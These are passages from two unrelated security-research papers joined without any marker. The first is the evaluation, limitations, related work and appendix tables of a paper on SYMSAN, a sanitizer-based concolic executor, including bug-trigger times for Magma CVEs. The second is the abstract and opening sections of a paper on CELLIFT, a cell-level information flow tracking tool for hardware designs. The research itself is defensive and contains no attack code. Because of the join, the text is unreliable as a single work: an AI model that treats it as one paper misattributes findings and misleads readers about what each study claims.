Target SYMSAN SymCC SymQEMU Fuzzolic

curl 17926.5 17622.0 17564.5 17599.5
freetype 28080.0 25496.0 24028.0 26371.0
harfbuzz 8656.0 8482.5 8482.5 8515.0
lcms 3506.5 3701.5 3656.0 3770.0
libjpeg 3802.5 3810.5 3819.0 3814.0
libpng 2136.0 1914.5 2149.5 2146.5
libxml2 12799.0 11097.0 12305.0 12072.0
libxslt 18799.0 18577.0 18592.5 18515.0
mbedtls 8353.5 8260.0 8244.5 8268.0
openssl 13772.5 13777.0 13777.0 13767.5
openthread 5833.5 5935.0 5862.5 5912.0
proj4 7262.0 5365.0 5314.0 5836.5
re2 3516.0 3521.5 3519.0 3544.5
vorbis 2166.0 2167.5 2168.0 2168.0
woff2 1872.0 1934.0 1934.0 1936.5

The result is shown in Figure 8. SYMSAN can achieve
higher final coverage than other tools on the four programs
from binutils. For the rest three programs, SYMSAN performs
similarly to other CEs but lags behind AFL++. There are two
main reasons. First, the current implementation of SYMSAN
only supports tracking symbolic expressions over integers,
while AFL++ is type-agnostic. Second, SYMSAN’s support
for external libraries is limited by its custom wrappers. As
a result, certain important label propagation rules could be
missing. SYMSAN was lagging behind SymCC on ob jdump
at the beginning because SymCC only imports seeds marked
with +cov, while SYMSAN will execute all imported seeds.

5.6 Security Implications

Recent research has shown a strong correlation between a test-
ing tool’s ability to achieve code coverage and its ability to
find bugs [4]. Similarly, recent research also showed that lever-
aging symbolic execution to solve bug triggering constraints
can also improve a hybrid fuzzer’s ability to find bugs [15].
Based on these observations, we expect that SYMSAN can
also help with finding bugs.

In this subsection, we present case studies to demonstrate
SYMSAN’s ability on finding bugs. Specifically, we used pro-
grams with known bugs from the Magma benchmark [26],
and evaluated three hybrid fuzzers: (1) symsan (SYMSAN
with AFL), (2) symsan_sec, with inserted security assertions
for divide-by-zero (as a simulation to [15]), and (3) symccafl
(SymCC with AFL). The full results are shown in Table 7 in
Appendix. The present numbers are averaged over 10 trials.
Following are a few highlights.

• AAH001 (CVE-2018-13785) is a divide-by-zero bug in
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Figure 8: Edge coverage growth over time for local fuzzing.

libpng and can be used to demonstrate the utility of the
symbolic executor. symsan can trigger the bug in 8 minutes,
while symsan_sec can trigger it much faster—in just 29
seconds. For comparison, symcc takes 57.04 minutes to
trigger the bug, and the fastest mutational fuzzer Honggfuzz
uses 17.7 hours [26].

• AAH017 (CVE-2019-7663) is a NULL-pointer derefer-
ence bug in libtiff. symsan_sec is the fastest hybrid
fuzzer to trigger the bug, using 5.84 hours. symsan uses
7.69 hours to trigger this bug. In comparison, symccafl
takes 11.18 hours to trigger the bug and the fastest muta-
tional fuzzer moptafl takes 5.2 hours [26].

• AAH055 (CVE-2016-2108) is an out-of-bound read issue
in openssl. Both symsan and symsan_sec can trigger this
bug, using 2.53 minutes and 2.51 minutes, respectively.
However, it takes 15.68 minutes for symccafl to trigger the
bug.

6 Limitations and Future Work

Our current design and implementation of SYMSAN have
some limitations that we plan to address in future work.

Memory Layout. Similar to other sanitizers, SYMSAN re-
quires a special memory layout (§4) for the shadow memory.
So, the current implementation of SYMSAN requires the tar-
get program to be compiled in 64-bit mode and cannot support
programs that can only be compiled in 32-bit.

Supported Operations. The current prototype of SYMSAN
does not support floating-point and vector operations. We
made this choice because other state-of-the-art concolic ex-
ecutors like QSYM [48], SymCC [36], and SymQEMU [37]
also do not support these operations. We plan to add the sup-
port in the future.

Constraint Solving and Path Explosion. We believe that
by bringing down the overhead of constraint collection in
CE to near-optimal, future research can focus on solving
other issues of CE, such as constraint solving and path/seed
prioritization. Indeed, we have also seen some recent progress
in improving constraint solving performance [5, 13, 29, 34].
So ultimately, we, as a community, can achieve efficient and
scalable concolic execution.

7 Related work

Besides the works already discussed in §2, the following
works are related to this paper.

Concolic Execution. Besides the performance issue, an-
other challenge for concolic execution is the path explosion
problem. To mitigate this problem, SAGE [22] proposed uti-
lizing generational search to increase the number of generated
test cases in one execution, which has been adopted by most
following-up work. Dowser [25] proposed using static anal-
ysis to guide concolic execution to places where it is more
likely to have buffer overflow vulnerabilities. To compen-
sate the scalability problem of concolic execution engines,
another popular approach is to combine concolic executing
with fuzzing [31, 45, 48, 49]. In these approaches, path ex-
ploration is mostly done by the fuzzer, who is more effective
at exploring easy-to-flip branches. Whenever the fuzzer en-
counters a hard-to-flip branch, it asks the concolic execution
engine to solve it.

Taint-guided Fuzzing. Dynamic taint analysis (DTA) [33]
is another popular technique to improve the efficiency of
fuzzing. TaintScope [47] utilizes DTA to discover and bypass
checksum checks and target input bytes that can affect se-
curity system library calls. Vuzzer [39] uses DTA to locate
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magic number checks and then changes the corresponding
input bytes to match the magic number. Steelix [28] also uses
DTA to bypass magic number checks but has better heuris-
tics. Redqueen [2] uses the observation that input byte could
indirectly end up in the program state (memory), so by di-
rectly comparing values used in compare instructions, it is
possible to infer such input-to-state relationships without ex-
pensive taint tracking. Neuzz [43] approximates taint analysis
by learning the input-to-branch-coverage mapping using a
neural network, which can then predict what inputs bytes can
lead to more coverage. Eclipser [17] exploits the observation
that many branch predicates are either linear or monotonic
with regard to input bytes and solves them using binary search.
Angora [14] is another close approach to SYMSAN. It uses
DFSAN to collect input dependencies of conditional branches,
then performs gradient-guided search to find inputs that can
flip the corresponding branch.

8 Conclusion

In this work, we propose leveraging highly-optimized data-
flow analysis framework to reduce the performance and the
memory overhead of a concolic executor. Evaluation of our
prototype built upon LLVM’s data-flow sanitizer validated
our idea—our prototype SYMSAN can significantly outper-
form the state-of-the-art concolic executors SymCC and
SymQEMU.
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Figure 9: Execution time for the real-world programs. The figure
is drawn in logarithmic scale. SymSan-NoOpti is SYMSAN without
expressions deduplication and load/store optimization. SymSan-
NoLoad is without load/store optimization).
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Figure 10: The peak resident size for the real-world programs.
The figure is drawn in logarithmic scale. SymSan-NoOpti is
SYMSAN without expressions deduplication and load/store opti-
mization. SymSan-NoLoad is without load/store optimization).

Appendix

This section includes additional evaluation results that cannot
fit into the main paper.
Concolic Execution without Solving. Table 5 shows the ex-
ecution time of SYMSAN, SymCC, and SymQEMU to collect
symbolic constraints without solving (§5.2.3).
Effectiveness of the Two Additional Optimizations. Fig-
ure 10 and Figure 9 shows the execution time and the peak res-
ident size distribution of (1) native execution, (2) full-fledge
SYMSAN, (3) SYMSAN without load/store optimization, and
(4) SYMSAN without expression deduplication and load/store
optimization. As we can see, both optimization techniques
can help reduce the execution time. To find out how often the
load/store optimization can be applied, we also measured the
ratio of uload/concat, the result is 13.8:1.
Statistics of Collected Constraints. Figure 11 shows (1) the
maximum number of tracked expressions (in the number of
AST nodes). The median numbers of track expressions are
22,270 and 20,245 for SYMSAN and SymCC respectively.

Table 6 shows the statistics of all the processed constraints
in experiments conducted in §5.4 (we considered 16 programs
in this statistics, that is all programs in Table 3, but excluded
sqlite, libpng, re2, proj where SymCC do not generate
legitimate results). SYMSAN solves about twice the number
of constraints than SymCC.
Bug Finding. Table 7 shows the evaluation results on the
Magma benchmark.
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Table 5: Execution time of concolic execution engines collecting all constraints without solving (in seconds). SymCC cannot build sqlite3.
SymCC crashes on 70% of seeds for libpng.

Program #seeds Native
SYMSAN SymCC SymQEMU

Time vs. Native Time vs. Native vs. SYMSAN Time vs. Native vs. SYMSAN

readelf 604 1.6s 10.1s 6.3x 462.8s 289.3x 45.8x 2916.2s 1822.6x 288.7x
objdump 560 2.7s 24.4s 9.0x 2097.0s 776.7x 85.9x 21913.1s 8116.0x 898.1x
nm 249 0.8s 3.3s 4.1x 169.1s 211.4x 51.2x 2598.6s 3248.3x 787.5x
size 207 0.6s 2.2s 3.7x 91.5s 152.5x 41.6x 1520.2s 2533.7x 691.0x
libxml2 1952 6.7s 36.5s 5.4x 2966.5s 442.8x 81.3x 12040.0s 1797.0x 329.9x
proj4 770 2.6s 10.8s 4.2x 22.2s 8.5x 2.1x 776.8s 298.8x 71.9x
vorbis 526 2.6s 267.2s 102.8x 83772.2s 32220.0x 313.5x 103113.2s 39658.9x 385.9x
re2 1073 7.3s 215.2s 29.5x 16655.4s 2281.6x 77.4x 221078.9s 30284.8x 1027.3x
woff2 548 2.2s 295.4s 134.3x 19812.6s 9005.7x 67.1x 12918.0 5871.8x 43.7x
libpng 218 0.7s 2.5s 3.6x N/A N/A N/A 1126.1s 1608.7x 450.4x
libjpeg 846 3.1s 83.0s 26.8x 42243.3s 13626.9x 509.0x 49465.2s 15956.5x 596.0
lcms 157 0.8s 4.9s 6.1x 26.9s 33.6x 5.5x 4335.0s 5418.8x 884.7x
freetype 4789 15.9s 202.1s 12.7x 16139.3s 1015.1x 79.9x 98562.2s 6198.9x 487.7x
harfbuzz 2955 9.4s 22.3s 2.4x 11903.4s 1266.3x 533.8x 16788.0s 1786.0x 752.8x
jsoncpp 450 1.6s 5.9s 3.7x 478.4s 299.0x 81.1x 1395.4s 872.1x 236.5x
openthread 268 0.9s 3.8s 4.2x 18.2s 20.2x 4.8x 204.2s 226.9x 53.7x
openssl 1577 11.3s 88.4s 7.8x 43255.3s 3827.9x 489.3x 215200.1s 19044.3x 2434.4x
mbedtls 491 1.6s 18.1s 11.3x 4146.9s 2591.8x 229.1x 9532.2s 5957.6x 526.6x
sqlite3 5253 19.7s 257.7s 13.1x N/A N/A N/A 46465.7s 2358.7x 180.3x
curl 1343 7.1s 35.0s 4.9x 398.8s 56.2x 11.4x 4494.8s 633.1x 128.4x

Geomean 9.2x 589.2x 62.0x 3407x 371.1x

Table 6: Statistics of the solved constraints

SYMSAN SymCC

Number of processed constraints 15,860,404 7,102,939
Number of satisfied nested constraints 5,022,332 (31.67%) 2,294,057 (32.30%)
Timeout nested constraints 12013 (0.076%) 1140 (0.016%)
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Figure 11: Maximum number of AST nodes tracked by SYMSAN

and SymCC
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Table 7: Mean bug survival times—both Reached and Triggered—over a 24-hour period, in seconds, minutes, and hours. Bugs are sorted by
“difficulty” (mean times).

symcc symsan symsan_sec symcc symsan symsan_sec
Bug ID R T R T R T Bug ID R T R T R T

AAH037 10.0s 25.00s 10.00s 25.00s 10.00s 25.00s AAH041 15.00s 25.50s 15.00s 27.0s 15.00s 26.50s
AAH003 10.00s 1.08m 10.00s 15.00s 10.00s 15.00s JCH207 10.00s 1.67m 10.00s 2.65m 10.00s 2.58m
AAH056 15.00s 8.00m 15.00s 7.68m 15.00s 7.63m AAH015 16.67m 41.42m 17.12m 56.25m 17.21m 58.20m
AAH055 15.00s 15.68m 20.00s 2.53m 20.00s 2.51m AAH020 5.00s 11.63h 10.00s 2.40h 10.00s 2.89h
MAE016 24.00h 24.00h 24.00h 24.00h 24.00h 24.00h AAH052 15.00s 6.36h 15.00s 7.33m 15.00s 7.26m
AAH032 15.00s 23.72h 15.00s 11.11h 15.00s 8.00h MAE008 24.00h 24.00h 24.00h 24.00h 24.00h 24.00h
AAH022 15.07m 16.86h 17.12m 20.49h 17.21m 17.07h MAE014 24.00h 24.00h 24.00h 24.00h 24.00h 24.00h
JCH215 1.85h 22.09h 3.33h 14.51h 5.10h 13.65h AAH017 11.05h 11.18h 7.63h 7.69h 5.84h 5.84h
JCH232 24.00h 24.00h 7.25h 10.71h 9.41h 15.88h AAH014 12.87h 12.87h 20.56h 20.38h 23.19h 23.19h
JCH201 15.00s 16.08h 15.00s 1.07h 15.00s 1.06h AAH007 15.00s 15.52m 15.00s 10.15m 15.00s 12.18m
AAH008 15.00s 24.00h 15.00s 22.07h 15.00s 22.88h AAH045 20.00s 24.00h 20.00s 24.00h 20.00s 24.00h
AAH013 24.00h 24.00h 23.31h 24.00h 24.00h 24.00h AAH024 15.00s 24.00h 15.00s 24.00h 15.00s 24.00h
JCH209 24.00h 24.00h 23.47h 23.47h 21.67h 21.67h MAE115 15.00s 13.95h 15.00s 16.91h 15.00s 15.37h
AAH026 15.00s 24.00h 15.00s 24.00h 15.00s 24.00h AAH001 15.00s 57.04m 15.00s 8.12m 15.00s 29.00s
MAE104 24.00h 22.48h 15.00s 17.70h 15.00s 17.37h AAH010 1.76h 24.00h 7.89h 24.00h 23.42h 23.19h
AAH016 24.00h 24.00h 24.00h 24.00h 24.00h 24.00h JCH226 24.00h 24.00h 16.07h 24.00h 22.53h 24.00h
JCH228 24.00h 24.00h 11.75h 24.00h 13.02h 24.00h AAH035 15.00s 24.00h 15.00s 24.00h 15.00s 24.00h
JCH212 15.00s 24.00h 15.00s 24.00h 15.00s 24.00h AAH025 24.00h 24.00h 22.64h 24.00h 24.00h 24.00h
AAH053 24.00h 24.00h 24.00h 24.00h 24.00h 24.00h AAH042 45.00s 24.00h 45.00s 24.00h 45.00s 24.00h
AAH048 20.00s 24.00h 20.00s 24.00h 20.00s 24.00h AAH049 15.00s 24.00h 15.00s 24.00h 15.00s 24.00h
AAH043 20.00s 24.00h 21.87h 24.00h 21.73h 24.00h JCH210 35.00s 24.00h 60.00s 24.00h 55.00s 24.00h
AAH050 30.00s 24.00h 30.00s 24.00h 30.00s 24.00h AAH054 10.00s 24.00h 10.00s 24.00h 10.00s 24.00h
MAE105 15.00s 24.00h 15.00s 24.00h 15.00s 24.00h AAH011 10.00s 24.00h 10.00s 24.00h 10.00s 24.00h
AAH005 15.00s 24.00h 15.00s 24.00h 15.00s 24.00h JCH202 15.00s 24.00h 15.00s 24.00h 15.00s 24.00h
MAE114 15.00s 24.00h 15.00s 24.00h 15.00s 24.00h AAH029 15.00s 24.00h 15.00s 24.00h 15.00s 24.00h
AAH034 15.00s 24.00h 15.00s 24.00h 15.00s 24.00h AAH004 15.00s 24.00h 15.00s 24.00h 15.00s 24.00h
MAE111 15.00s 24.00h 15.00s 24.00h 15.00s 24.00h AAH059 15.00s 24.00h 15.00s 24.00h 15.00s 24.00h
JCH204 20.00 s 24.00h 30.00s 24.00h 30.00s 24.00h AAH031 25.00s 24.00h 55.00s 24.00h 1.02m 24.00h
AAH051 20.00s 24.00h 25.00s 24.00h 25.00s 24.00h MAE103 20.00s 24.00h 20.00s 24.00h 20.00s 24.00h
JCH214 35.50s 24.00h 35.00s 24.00h 35.00s 24.00h JCH220 6.01h 24.00h 4.80h 24.00h 5.19h 24.00h
JCH229 2.32h 24.00h 5.39h 23.61h 5.29h 24.00h AAH018 1.24h 24.00h 7.20h 24.00h 6.60h 24.00h
JCH230 6.05h 24.00h 8.07h 24.00h 8.59h 24.00h AAH047 25.00s 24.00h 25.00s 24.00h 25.50s 24.00h
JCH233 7.10h 24.00h 7.94h 24.00h 10.81h 24.00h JCH223 12.82h 24.00h 8.04h 24.00h 8.64h 24.00h
JCH231 14.64h 24.00h 8.11h 24.00h 8.70h 24.00h MAE006 24.00h 24.00h 24.00h 24.00h 24.00h 24.00h
MAE004 24.00h 24.00h 24.00h 24.00h 24.00h 24.00h JCH222 18.08h 24.00h 11.59h 24.00h 16.26h 24.00h
AAH009 24.00h 24.00h 23.46h 24.00h 24.00h 24.00h JCH227 24.00h 24.00h 23.17h 24.00h 20.46h 24.00h
JCH219 24.00h 24.00h 24.00h 24.00h 22.83h 24.00h JCH216 24.00h 24.00h 24.00h 24.00h 24.00h 24.00h
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Abstract
Dynamic Information Flow Tracking (dynamic IFT) is a well-
known technique with many security applications such as
analyzing the behavior of a system given an input and detect-
ing security violations. While there are many widely used
open dynamic IFT solutions that scale to large software, the
same level of support is unfortunately lacking for hardware.
This gap is becoming more pronounced with the increasing
complexity of open-source hardware and the plethora of re-
cent hardware attacks.

We introduce CELLIFT, a new design point in the space of
dynamic IFT for hardware. CELLIFT leverages the logical
macrocell abstraction (e.g., an adder) to achieve scalabil-
ity, precision and completeness when instrumenting a given
Register Transfer Level (RTL) hardware design. Cell-level
dynamic IFT does not suffer from the scalability problems
that are inherent to lower levels of abstraction such as gates,
yet it achieves completeness given the limited number of cell
types. We show the versatility of CELLIFT by instrument-
ing five distinct RISC-V designs, one of which is a complete
SoC. The only existing complete solution already fails to
instrument two of these designs. Our extensive evaluation
using microbenchmarks and standard RISC-V benchmarks on
the instrumented designs shows that CELLIFT is 21× to 61×
faster than the state of the art in terms of simulation runtime
without losing precision. We further show-case concrete appli-
cations of CELLIFT in four scenarios by detecting: 1) sources
of microarchitectural information leakage, 2) microarchitec-
tural bugs such as Meltdown, 3) speculative vulnerabilities
such as Spectre-BCB, and 4) SoC-wide architectural design
flaws. We release CELLIFT as open source to enable RTL-
level security research for the wider community.

1 Introduction

Despite substantial design verification efforts, there is a con-
tinual discovery of security-critical hardware design flaws
that are exploitable from software [1, 6, 8, 11, 37, 38, 46, 48,

55, 56, 59, 60, 62, 69, 71, 72]. These vulnerabilities are often
difficult to mitigate post-silicon, leaving systems exposed for
long periods of time. While critical, current tools and tech-
niques are unfortunately incapable of capturing these issues
in large designs. There is hence an urgent need for empower-
ing Electronic Design Automation (EDA) tools for detecting
security vulnerabilities during hardware design.

Dynamic Information Flow Tracking. A promising ap-
proach for analyzing the state of a system given an input
and verifying certain security properties is Information Flow
Tracking (IFT). Static IFT either needs to consider all pos-
sible states which does not scale beyond very simple de-
signs [13, 17, 20] or it over-approximates, leading to preci-
sion problems [65]. In contrast, dynamic IFT only considers
changes to the state made in a single execution, allowing it
to potentially scale to larger hardware designs for checking
design-wide security properties. As an example, many of the
recently discovered security flaws [8, 37, 38, 55, 56, 69, 71, 72]
can be formulated as a dynamic IFT constraint. While there
are many popular dynamic IFT tools that scale to large soft-
ware [36,47,66], the same level of support is currently lacking
for hardware. With the increasing popularity of open-source
hardware, an open-source dynamic IFT solution that scales
to larger designs has the potential to significantly improve
security testing and enable new security applications.

CELLIFT. It is possible to instrument a given design at one
of the two extreme abstraction levels for dynamic IFT: either
by considering its low-level gate netlist [67]; or by consider-
ing the high-level Hardware Description Language (HDL) [2].
Unfortunately, both abstraction levels come with significant
shortcomings: instrumenting the gates has severe scalability
issues while instrumenting the HDL requires managing com-
plex language constructs, making it challenging to achieve
completeness. We make a key observation that instrumenting
the macrocells, which are at a slightly lower abstraction level
than HDL, preserves the benefits of both extremes without
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their shortcomings. There are a manageable number of cell1

types (e.g., adder, shifter, multiplexer, etc.) for which we can
create shadow cell types that precisely track the information
flows and scale comfortably to larger designs. Unlike gates,
these shadow cells map efficiently to large units available
in commodity CPUs (e.g., registers or arithmetic and logic
units), significantly improving the performance of dynamic
IFT during simulation. To design these shadow cells, we
introduce a generic precise information flow tracking logic
scheme called m-replica based on cell replication. To make
this scheme scale efficiently with increasing cell widths while
preserving precision, we exploit the cells’ mathematical prop-
erties of monotonicity, transportability and translatability
that we formally define and leverage for the first time. We
then prototype CELLIFT, our dynamic IFT solution that in-
struments a given Register Transfer Level (RTL) design by
leveraging the design of our shadow cell types.

To show the versatility of CELLIFT, we use it to instrument
five RISC-V cores, one of which integrated in a System on a
Chip (SoC) which we also instrument to show that CELLIFT
can successfully be applied on various complex and heteroge-
neous designs. The only existing (gate-level) solution that can
handle generic designs [67] already fails at instrumenting and
simulating two of these five designs. Our evaluation shows
that compared to instrumenting gates, CELLIFT is more pre-
cise, more than 5× faster with instrumentation and synthesis
while requiring 5× less memory, and more than 21× faster
during simulations. We show-case the benefits of CELLIFT
in four different scenarios using our instrumented designs:
first, we show how CELLIFT can be used to measure changes
to the microarchitectural state as a result of executing an in-
struction or a memory access. This information can be used
to detect various sources of timing-based information leak-
age [40, 52, 75]. Second and third, we show how CELLIFT
can enable the detection of microarchitectural vulnerabilities
such as Meltdown [38] or MDS [59, 71], or speculative exe-
cution attacks such as Spectre [37] respectively. Finally, we
use CELLIFT to detect design flaws that can lead to architec-
tural security vulnerabilities using various scenarios from a
hardware hacking challenge [17].

In summary, we make the following contributions:

• We present a scalable, precise and complete cell-level
dynamic IFT design.

• We implement CELLIFT based on this new design as new
passes into the Yosys open-source synthesizer [74].

• We evaluate CELLIFT on five RISC-V designs: Ibex [43],
Ariane [76], Rocket [3], BOOM [4] and the PULPissimo
SoC from the Hack@DAC’18 competition [17].

• We use CELLIFT in several scenarios to show the benefits
of scalable and precise dynamic IFT support as part of
the hardware design toolchain.

1We use the terms cell and macrocell interchangeably.

Open sourcing. To enable reproducibility and to let re-
searchers and practitioners benefit from CELLIFT, we publish
the source code of CELLIFT, the experiments and the instru-
mented designs at this URL:
https://comsec.ethz.ch/cellift.

2 Background

In this section, we provide a brief background on existing
techniques for detecting architectural vulnerabilities, their
(in)effectiveness against recent microarchitectural vulnerabili-
ties, and discuss how hardware dynamic IFT mechanisms can
provide a better alternative.

2.1 Detecting architectural vulnerabilities
Hardware designers employ various methods in an attempt
to detect flaws in the RTL representation. These methods are
manual or automatic; automatic methods are local or global.

Manual inspection. Dessouky et al. [17] recently showed
that existing verification methods do not effectively cover
many of the cross-layer bugs resulting from subtle hardware-
software interactions. Hardware designers often resort to
manual inspection of the RTL and simulation of hand-crafted
input to detect these complex cases. Unfortunately, this ap-
proach is cumbersome, error-prone, and incompatible with
any form of continuous integration that can catch subtle vul-
nerabilities introduced after the initial hardware design. Er-
rata of recent complex designs such as 12th generation Intel®
Core™ processors contain an overwhelming proportion of
such bugs [14].

Local methods. Hardware designers often rely on Sys-
temVerilog assertions (SVA) [50] to ensure correct behav-
ior and capture unintended behavior that can lead to bugs at
all design stages. These assertions express local properties
such as compliance to a given bus protocol, or compliance
of a state machine with some expected properties. Assertion-
based verification formal methods such as Formal Property
Verification (FPV) [22, 23] can provably check whether these
assertions can be triggered in a given RTL design and provide
examples when they do. These formal methods unfortunately
suffer from state explosion due to their static nature, limiting
their scalability. Therefore, hardware designers and verifica-
tion engineers often deploy Constrained Random Verification
(CRV) extensively [49]. CRV tries out a series of signals
while respecting some constraints, such as complying with
some input bus protocol, to empirically find out whether local
assertions can be triggered.

Global methods. Many security properties are not express-
ible in the form of local assertions. For instance, a local
assertion cannot infer the origin or destination of some data
transfer and therefore cannot verify confidentiality proper-
ties in the general case. Formal methods such as Security
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Path Verification (SPV) [9] and Formal Security Verification
(FSV) [64] are designed to statically catch unauthorized infor-
mation flows. However, these methods are reported to suffer
from the same scalability issues as local formal methods and
typically requires black-boxing parts of the design [15], ham-
pering their ability to detect information flows across the
entire design.

2.2 Microarchitectural vulnerabilities
While architectural security vulnerabilities already pose a
challenge for existing tools and techniques, microarchi-
tectural security vulnerabilities that do not explicitly col-
lide with architectural specifications pose an even greater
challenge. These security vulnerabilities are not only le-
gion [1, 6, 8, 11, 37, 38, 46, 48, 55, 56, 59, 60, 62, 69, 71, 72],
but industry leaders still struggle to mitigate them, sometimes
requiring multiple generations of attempts before reaching
an effective mitigation as seen in the recent MDS class of
vulnerabilities [11, 59, 70, 71]. Such vulnerabilities can lead
to confidentiality breaches, effectively enabling arbitrary read
primitives. Recent work [24] attempts to detect microarchi-
tectural vulnerabilities by exploiting the RTL description, but
requires tailoring to a specific design and vulnerability, with-
out providing exploitability insights. We hence urgently need
a design-agnostic solution that can detect different classes of
vulnerabilities with little effort.

2.3 Dynamic hardware IFT
Hardware dynamic IFT provides the possibility of following
how information flows propagate in a design [2, 67]. Con-
fidentiality, integrity, isolation, constant time and design in-
tegrity properties are canonical properties covered by dynamic
IFT [29]. As opposed to static methods, dynamic IFT does
not consider the entire set of possible states in a given de-
sign, but instead allows to dynamically prove properties in
a specific context. Consequently, it is immune to the state
explosion problem.

Dynamic IFT requires: a mechanism for tracking informa-
tion flows and policies expressed on top of this mechanism.
According to certain policies, signals are temporarily or per-
manently labeled as taint sources or taint sinks during runtime,
and an alarm is triggered when an information flow from a
taint source to a taint sink is detected through the mechanism.
Confidentiality policies inspect the data flow from secret data
locations (taint sources) to unauthorized entities (taint sinks).
Conversely, integrity policies inspect data flows from unau-
thorized entities (taint sources) to sensitive locations (taint
sinks). As an example, Meltdown-type [10] class of vulnera-
bilities [8, 11, 38, 55, 56, 59, 69, 71, 72] can be expressed as a
policy that disallows memory loads from a different domain.

Two hardware dynamic IFT mechanisms have been pro-
posed so far: GLIFT [67] and RTLIFT [2]. They add new
elements to the design to support dynamic IFT, but at dif-
ferent levels: GLIFT instruments the design at the level of

elementary logic gates (AND, NOT, OR and multiplexers),
and RTLIFT proposes to instrument the HDL directly. We
will show that GLIFT has critical scalability problems, and
(to the best of our knowledge) a complete RTLIFT has never
been implemented due to the tremendous engineering effort
required.

Table 1 summarizes all the verification techniques dis-
cussed in this section. While dynamic IFT is an attractive
alternative for detecting hardware vulnerabilities, existing
solutions such as GLIFT [67] and RTLIFT [2] have severe
limitations that hamper their adoption. In the following sec-
tion, we analyze these limitations and discuss how our new
hardware dynamic IFT design addresses them.

Table 1: Classification of design verification methods.
Local Global

Static FPV [22, 23] SPV [9], FSV [64]
Dynamic CRV [49] GLIFT [67], RTLIFT [2]

3 Dynamic Hardware IFT Using Cells

There are three properties that are significant for any hard-
ware dynamic IFT mechanism to see adoption: first, it should
be able to operate on any given (valid) digital design (i.e.,
the completeness property). Second, it should scale to large
designs with high instrumentation performance and usable
simulation overhead (i.e., the scalability property). Finally,
it should faithfully propagate tainted signals while minimiz-
ing the taint spilled to additional signals in the design (i.e.,
the precision property). Unfortunately, none of the existing
techniques cover all these important properties together.

The most common strategy is instrumenting designs with
IFT logic at the gate level [30–33, 67]. While achieving com-
pleteness due to the limited number of different gates, it suf-
fers from scalability problems: since IFT logic construction
occurs after logic synthesis (i.e., once the design is expressed
as a list of elementary logic gates), it incurs an exponential
worst-case time complexity at instrumentation time [33]. As
an example, instrumenting Ibex [43], a small RISC-V design,
requires 72× more elements when instrumenting the design
with gates, in comparison with the non-instrumented design.
Perhaps more importantly, the gate-level approach also in-
curs high overhead at simulation time, as it forces simulators
to simulate the design and the shadow logic gate by gate,
while a significant speed-up would result from simulating
higher-level constructs such as additions or comparisons.

Another issue with gate-level IFT logic is its precision.
While precise IFT for a given design is an undecidable prob-
lem [16], doing so at the (low) level of gates exacerbates the
problem. While there exists precise IFT logic for individual
gates, the interaction of IFT logic from different gates leads
to imprecision (i.e., overtainting).

To improve this situation, it is possible to generate the
IFT logic at a higher level of abstraction. Previous work on
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Figure 1: Different levels of instrumentation and their char-
acteristics.

elevating the abstraction level uses HDL [2, 77]. They either
introduce new language features that require porting by a
human expert at significant time and backward-compatibility
cost [77], or it is challenging to make them complete given
the many possible language constructs to be supported [2].

IFT logic based on macrocells. We argue that to gain the
benefits of both strategies, we need to operate at a different
level of abstraction than gates or HDL. This level should
be high enough to achieve high performance and precision,
while generic enough to achieve completeness and backward-
compatibility. Macrocells, to which we refer as cells, de-
note higher-level intermediate representations of synthesiz-
able hardware primitives (such as an adder, comparator, etc.).
Cells are limited in types but are parametrizable in widths and
in other important properties such as signedness. Whereas
working at gate-level requires breaking these primitives, cells
are close to HDL and often map directly to HDL constructs.
Therefore, cells form typical intermediate representations in
hardware tools, explicitly in LLHD [58] and Yosys [74], and
in Verilator which maps similar constructs to the simulating
machine’s ISA [73]. This makes cells an ideal candidate for
generating the IFT logic as shown in Figure 1. Because all
cells correspond to HDL constructs, CELLIFT’s shadow logic
design is also a necessary basis for any HDL instrumentation
that would strive to achieve completeness in the future.

Designing a scalable and precise IFT logic for general-
purpose digital designs, however, poses certain challenges.
First, it is unclear whether we can follow a generic approach
for designing a precise IFT logic for any given cell, leading
us to our first research question:

RQ1. Is there a generic IFT logic pattern that could
precisely instrument any combinational cell?

Second, while a generic approach will enable us to achieve
completeness as we will soon discuss, it will come at a high
cost. To reduce this cost, we can perhaps make use of the
structure of the cells themselves, leading to our second re-
search question:

RQ2. Do cells have certain logical properties that we can
exploit to scale the resulting IFT logic?

Section 4 answers the first question by introducing a novel
m-replica architecture which can be adapted to implement the
IFT logic with perfect precision for any given combinational

cell. This architecture, however, scales exponentially with
the cell’s width. Section 5 answers the second question by
introducing three fundamental logical properties of different
cells, namely monotonicity, transportability, and translatabil-
ity that can be leveraged to adapt the m-replica architecture
for creating efficient per-cell IFT logic.

4 The Canonical M-replica Architecture

We introduce a replication-based architecture that can be used
to generate IFT logic for any given cell with perfect precision.

4.1 Precise information propagation
Let C be a combinational cell, and Ct its IFT logic. C has some
input bits (I j)0≤ j<Ni and output bits C(I) := (Yj)0≤ j<No

2. We
define (It

j)0≤ j<Ni and Ct(I, It) := (Y t
j )0≤ j<No to be the taint

signals corresponding to C’s input and outputs, respectively.
The terms Ni and No represent the number of input bits and
the number of output bits of the cell. This means that It

j = 1 if
the input signal I j is tainted, and similarly Y t

j = 1 if the output
signal Yj is tainted.

Because some cells, such as adders, have two inputs A
and B of identical width, we define A j := I j and B j := I

j+Ni
2

.
We refer to the index j in A j or B j as operand position, as
opposed to the position in the aggregated input I.

Precise information propagation rule. Information prop-
agates from the set of tainted input signals {I j | It

j = 1} to
some output signal Yj if there exists another input vector Ĩ for
C, which differs from I only on tainted input bits, and such
that the two input vectors I and Ĩ cause distinct values for Yj.
Equation 1 formalizes this rule. ⊕ denotes exclusive or.

Ct(I, It) j = 1 ⇐⇒

∃Ĩ | (I ⊕ Ĩ)∧ It = 0 and C(Ĩ) j =C(I) j
(1)

Equivalently, for a given input I with taint vector It , and
for a given output bit Yj, Yj is tainted if the value of Yj can
be changed by only changing the value of I at some tainted
indices. We use this insight in the design of IFT logic using
cell replication.

4.2 Replication-based design
Any digital circuit can be represented as an interconnection of
state-holding cells (flip-flops and latches) and purely combi-
national (stateless) cells. We discuss how we can instrument
these different cell types using replication.

State-holding cells. A simple replication suffices to instru-
ment state-holding cells: when a signal is delayed by entering
such a cell, the same delay affects the information carried by
this signal, as shown in Figure 2a. This means that for every
state-holding cell, we simply need an additional shadow cell
that stores the taint information for that cell.

2We use the := notation when defining new terms in this paper.
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Figure 2: Instrumentation of a) a state-holding cell, b) a
combinational block and c) an exclusive-or cell with single
input bit at gate level. Signals generated to feed the gate-level
IFT logic but absent at cell level are drawn in blue. The t
exponent indicates taint signals.

Combinational cells. Combinational blocks should be in-
strumented with combinational logic as illustrated in Fig-
ure 2b. As shown in Figure 2c, dividing combinational blocks
